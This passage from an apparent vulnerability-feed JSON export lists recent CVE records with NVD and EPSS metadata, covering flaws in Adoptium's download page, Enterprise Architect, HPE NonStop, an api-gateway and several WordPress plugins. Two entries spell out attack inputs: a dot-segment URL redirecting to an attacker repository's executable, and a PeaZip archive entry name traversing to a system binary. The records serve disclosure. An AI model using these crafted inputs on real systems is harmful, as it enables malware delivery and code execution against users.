(2025-06-18) up to the fix in commit cbb53cf (2026-09-24), the post-download page /[locale]/download takes a download URL from the \"link\" query parameter and automatically navigates to it with a meta http-equiv=\"refresh\". The URL is checked against a list of trusted prefixes using String.startsWith() on the raw string, while the browser applies RFC 3986 dot-segment normalisation before navigating, so a value such as https://github.com/adoptium/temurin/../../attacker/malware/releases/download/v1/jdk.exe passes the check but resolves to an attacker-controlled repository. A victim who follows a crafted adoptium.net link is shown the genuine \"Thank you for downloading Eclipse Temurin\" page while their browser downloads a binary of the attacker's choosing\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T14:17:30.107Z","updatedAt":"2026-10-16T19:17:44.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93649","asOf":"2026-10-16T19:17:44.900Z"},"epss":{"probability":0.00156,"percentile":0.04664,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93649&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93649","type":"primary","publishedAt":"2026-10-15T14:17:30.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93649&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93649, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88794","cveId":"CVE-2026-88794","aliases":[],"kind":"vulnerability","title":"Enterprise Architect is vulnerable to XML External Entity (XXE) injection in the XSLT Debugger feature.","summary":"Enterprise Architect is vulnerable to XML External Entity (XXE) injection in the XSLT Debugger feature. When a user loads a crafted XML file containing a `DOCTYPE` with an external DTD reference, the parser processes external entities, allowing an attacker to read arbitrary files from the victim's filesystem.\n\nBecause vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 17.1 but may also affect other versions.","detail":"Enterprise Architect is vulnerable to XML External Entity (XXE) injection in the XSLT Debugger feature. When a user loads a crafted XML file containing a `DOCTYPE` with an external DTD reference, the parser processes external entities, allowing an attacker to read arbitrary files from the victim's filesystem.\n\nBecause vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 17.1 but may also affect other versions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:13.837Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88794","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00332,"percentile":0.26162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88794&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88794","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88794","type":"primary","publishedAt":"2026-10-15T13:17:13.837Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88794&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88794, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79837","cveId":"CVE-2026-79837","aliases":[],"kind":"vulnerability","title":"A vulnerability in HPE NonStop SQL/MX UDR SERVER may allow a crafted message to cause process termination, service disruption or memory corruption, resulting in undefined behavior.","summary":"A vulnerability in HPE NonStop SQL/MX UDR SERVER may allow a crafted message to cause process termination, service disruption or memory corruption, resulting in undefined behavior.","detail":"A vulnerability in HPE NonStop SQL/MX UDR SERVER may allow a crafted message to cause process termination, service disruption or memory corruption, resulting in undefined behavior.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:13.707Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79837","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00098,"percentile":0.00754,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79837","type":"primary","publishedAt":"2026-10-15T13:17:13.707Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110724","cveId":"CVE-2026-110724","aliases":[],"kind":"vulnerability","title":"In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the...","summary":"In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the `X-Forwarded-For` request header. That element is supplied by the originating HTTP client and is not validated against any trusted-proxy list. A single attacker can therefore obtain an unlimited number of independent rate-limit buckets — one per unique header value — and completely bypass the gateway's request-rate limiting on every route that uses the shipped default configuration.","detail":"In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the `X-Forwarded-For` request header. That element is supplied by the originating HTTP client and is not validated against any trusted-proxy list. A single attacker can therefore obtain an unlimited number of independent rate-limit buckets — one per unique header value — and completely bypass the gateway's request-rate limiting on every route that uses the shipped default configuration.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:12.973Z","updatedAt":"2026-10-16T19:17:03.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110724","asOf":"2026-10-16T19:17:03.597Z"},"epss":{"probability":0.00272,"percentile":0.19414,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110724&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110724","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110724","type":"primary","publishedAt":"2026-10-15T13:17:12.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110724&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110724, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110723","cveId":"CVE-2026-110723","aliases":[],"kind":"vulnerability","title":"In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the...","summary":"In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the `X-Forwarded-For` request header. That element is supplied by the originating HTTP client and is not validated against any trusted-proxy list. A single attacker can therefore obtain an unlimited number of independent rate-limit buckets — one per unique header value — and completely bypass the gateway's request-rate limiting on every route that uses the shipped default configuration.","detail":"In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the `X-Forwarded-For` request header. That element is supplied by the originating HTTP client and is not validated against any trusted-proxy list. A single attacker can therefore obtain an unlimited number of independent rate-limit buckets — one per unique header value — and completely bypass the gateway's request-rate limiting on every route that uses the shipped default configuration.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:12.857Z","updatedAt":"2026-10-15T14:41:34.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110723","asOf":"2026-10-15T14:41:34.110Z"},"epss":{"probability":0.00337,"percentile":0.26872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110723","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110723","type":"primary","publishedAt":"2026-10-15T13:17:12.857Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109702","cveId":"CVE-2026-109702","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maxfoundry Social Share Buttons share-button allows Stored XSS.This issue...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maxfoundry Social Share Buttons share-button allows Stored XSS.This issue affects Social Share Buttons: from n/a through 1.31.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in maxfoundry Social Share Buttons share-button allows Stored XSS.This issue affects Social Share Buttons: from n/a through 1.31.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:12.467Z","updatedAt":"2026-10-15T16:17:44.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109702","asOf":"2026-10-15T16:17:44.597Z"},"epss":{"probability":0.00142,"percentile":0.03461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109702&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109702","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109702","type":"primary","publishedAt":"2026-10-15T13:17:12.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109702&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109702, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109693","cveId":"CVE-2026-109693","aliases":[],"kind":"vulnerability","title":"Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.","summary":"Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.","detail":"Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:12.190Z","updatedAt":"2026-10-16T15:17:08.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109693","asOf":"2026-10-16T15:17:08.103Z"},"epss":{"probability":0.00278,"percentile":0.20004,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109693&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109693","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109693","type":"primary","publishedAt":"2026-10-15T13:17:12.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109693&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109693, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109692","cveId":"CVE-2026-109692","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in ThemeGrill User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects...","summary":"Missing Authorization vulnerability in ThemeGrill User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Registration: from n/a through 5.2.8.","detail":"Missing Authorization vulnerability in ThemeGrill User Registration user-registration allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Registration: from n/a through 5.2.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:12.063Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109692","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.00162,"percentile":0.05299,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109692&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109692","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109692","type":"primary","publishedAt":"2026-10-15T13:17:12.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109692&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109692, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109685","cveId":"CVE-2026-109685","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Reflected XSS.This...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Reflected XSS.This issue affects Link Whisper Free: from n/a through 0.9.7.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Reflected XSS.This issue affects Link Whisper Free: from n/a through 0.9.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:11.400Z","updatedAt":"2026-10-16T15:17:08.003Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109685","asOf":"2026-10-16T15:17:08.003Z"},"epss":{"probability":0.00142,"percentile":0.03459,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109685&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109685","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109685","type":"primary","publishedAt":"2026-10-15T13:17:11.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109685&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109685, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107416","cveId":"CVE-2026-107416","aliases":[],"kind":"vulnerability","title":"Authorization Bypass Through User-Controlled Key vulnerability in Webba Plugins Webba Booking webba-booking-lite allows Exploiting Incorrectly Configured Access Control Security...","summary":"Authorization Bypass Through User-Controlled Key vulnerability in Webba Plugins Webba Booking webba-booking-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Webba Booking: from n/a through 6.5.2.","detail":"Authorization Bypass Through User-Controlled Key vulnerability in Webba Plugins Webba Booking webba-booking-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Webba Booking: from n/a through 6.5.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:10.930Z","updatedAt":"2026-10-15T14:45:38.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107416","asOf":"2026-10-15T14:45:38.353Z"},"epss":{"probability":0.0026,"percentile":0.17587,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107416&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107416","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107416","type":"primary","publishedAt":"2026-10-15T13:17:10.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107416&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107416, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104025","cveId":"CVE-2026-104025","aliases":[],"kind":"vulnerability","title":"Path Traversal (CWE-22) in the execute_obj function of the archive object viewer (peach.pas) in PeaZip 11.2.0 and earlier on Windows allows an attacker who convinces a victim to...","summary":"Path Traversal (CWE-22) in the execute_obj function of the archive object viewer (peach.pas) in PeaZip 11.2.0 and earlier on Windows allows an attacker who convinces a victim to preview an entry of a crafted archive via the \"Preview with... -> Associated application\" action (Shift+Ctrl+O) to execute an arbitrary program already present on the victim's system, with no warning dialog. The function validates only outname (PeaZip's own temporary directory) with checkfiledirname, while the string actually executed is the concatenation outname+tempstring; tempstring is taken verbatim from the archive entry name (StringGridList.Cells[12,...]) and is never validated. checkfiledirname (list_utils.pas) rejects control and reserved characters in the file name but performs no \"..\" path-containment check, so an entry named ../../../../Windows/System32/calc.exe escapes the extraction directory and is passed to cp_open -> ShellExecuteW; the extracting backend (7-Zip) strips the traversal while the opener does not. In addition, the SECEXTCONST dangerous-extension confirmation prompt is implemented only in the double-click handler (grid_obj_open) and not on this preview route, so an executable inside an archive reaches ShellExecuteW unannounced, and where the prompt does fire it names the entry's display name rather than the resolved path that will run. Arbitrary code execution was demonstrated with a proof of concept against official PeaZip builds, confirmed on two archive formats (.zip and .tar) to show the defect is in PeaZip's own path handling and not in a single format parser.","detail":"Path Traversal (CWE-22) in the execute_obj function of the archive object viewer (peach.pas) in PeaZip 11.2.0 and earlier on Windows allows an attacker who convinces a victim to preview an entry of a crafted archive via the \"Preview with... -> Associated application\" action (Shift+Ctrl+O) to execute an arbitrary program already present on the victim's system, with no warning dialog. The function validates only outname (PeaZip's own temporary directory) with checkfiledirname, while the string actually executed is the concatenation outname+tempstring; tempstring is taken verbatim from the archive entry name (StringGridList.Cells[12,...]) and is never validated. checkfiledirname (list_utils.pas) rejects control and reserved characters in the file name but performs no \"..\" path-containment check, so an entry named ../../../../Windows/System32/calc.exe escapes the extraction directory and is passed to cp_open -> ShellExecuteW; the extracting backend (7-Zip) strips the traversal while the opener does not. In addition, the SECEXTCONST dangerous-extension confirmation prompt is implemented only in the double-click handler (grid_obj_open) and not on this preview route, so an executable inside an archive reaches ShellExecuteW unannounced, and where the prompt does fire it names the entry's display name rather than the resolved path that will run. Arbitrary code execution was demonstrated with a proof of concept against official PeaZip builds, confirmed on two archive formats (.zip and .tar) to show the defect is in PeaZip's own path handling and not in a single format parser.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 